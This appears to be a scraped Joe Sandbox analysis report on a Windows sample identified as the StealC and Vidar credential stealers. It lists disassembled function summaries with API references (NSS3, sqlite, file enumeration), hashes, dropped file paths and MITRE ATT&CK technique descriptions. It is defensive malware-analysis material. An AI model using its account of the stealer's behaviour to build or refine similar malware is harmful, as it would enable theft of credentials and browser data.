Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: d1b35e965da091204943291f2dd80ba0109022650d1de63ee19282218a90db5f
Instruction ID: 5688492f5c91f8305907661179651154fc81e6b3785acbe0f568e8c5f03c0e08
Opcode Fuzzy Hash: d1b35e965da091204943291f2dd80ba0109022650d1de63ee19282218a90db5f
Instruction Fuzzy Hash: E8812B75A0C2515BD700CF29C2803A9B7F6AF55328F2C8669D8A99BF81D732D94BC790

Function 6C774D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C774D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C774DE6

Strings

%d.%d, xrefs: 6C774DDE

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 3d1a5a422f30f2171249acfc22af0cb7813bb1c338434be9293d3dc408098391
Instruction ID: 20a37606a75cdd925b3328675f8a0496e32ee9eee7863fe4b5adadc250eaa2af
Opcode Fuzzy Hash: 3d1a5a422f30f2171249acfc22af0cb7813bb1c338434be9293d3dc408098391
Instruction Fuzzy Hash: C531FBB2E0021D6BEF605B619D0ABFF7768EF40308F450429ED5597741EB709919CBB2

Function 6C794CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8yl,00000000,00000000,?,?,6C793827,?,00000000), ref: 6C794D0A

Part of subcall function 6C780840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7808B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C794D22

Part of subcall function 6C77FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C721A3E,00000048,00000054), ref: 6C77FD56

Strings

'8yl, xrefs: 6C794D07

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8yl
API String ID: 1521942269-2350912383
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: ccc213944ca36cf431c19676ac03739523b34c55c0a5bde584fb3a630ce9d2d5
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 09F0623660122467EB104D6ABE85B4336DC9B4167DF1403B1EE38CB7E1E621CC0096E1

Function 00413E2B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413B85
StrCmpCA.SHLWAPI(?,00420F58), ref: 00413B97
StrCmpCA.SHLWAPI(?,00420F5C), ref: 00413BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00413EB7
FindClose.KERNEL32(000000FF), ref: 00413ECC

Strings

q?A, xrefs: 00413ED2

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: q?A
API String ID: 3840410801-4084695119
Opcode ID: 0e70d8f007815c078199d768b3eb50a19077b8f7193eafda07f08b5b77a90090
Instruction ID: 435e47d99a68a60cc5746cb21b8f71e50488397b794716e085ba6dfc691b5c27
Opcode Fuzzy Hash: 0e70d8f007815c078199d768b3eb50a19077b8f7193eafda07f08b5b77a90090
Instruction Fuzzy Hash: B3D05B7190411D5BCB10EF64DD489EA7378EB55705F0041CAF40E97150FB349F858F55

Function 6C780DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C780DF5
TlsGetValue.KERNEL32 ref: 6C780E2D
TlsGetValue.KERNEL32 ref: 6C780E58
TlsGetValue.KERNEL32 ref: 6C780E84

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 3ebd07812a1cb957c0d4eed2b5a7818369e084c981de57de7bebd7c7a3619d20
Instruction ID: edad3f3b26b55f9270461a49f1118ff8e0e3c394ac8a80578e80772e65f95a6f
Opcode Fuzzy Hash: 3ebd07812a1cb957c0d4eed2b5a7818369e084c981de57de7bebd7c7a3619d20
Instruction Fuzzy Hash: 2D31B2706477848FDB21BF7DC68825A7BB8BF0630CF054679D99887A21EB348495CBE1

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report X9d3758tok.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Change of critical system settings

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAAEHDBFID.exe

C:\ProgramData\ECBAEBGHDAECBGDGCAKEGHIIDA

C:\ProgramData\FCAFIJJJKEGIECAKKEHIDHDAKK

Windows Analysis Report
X9d3758tok.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre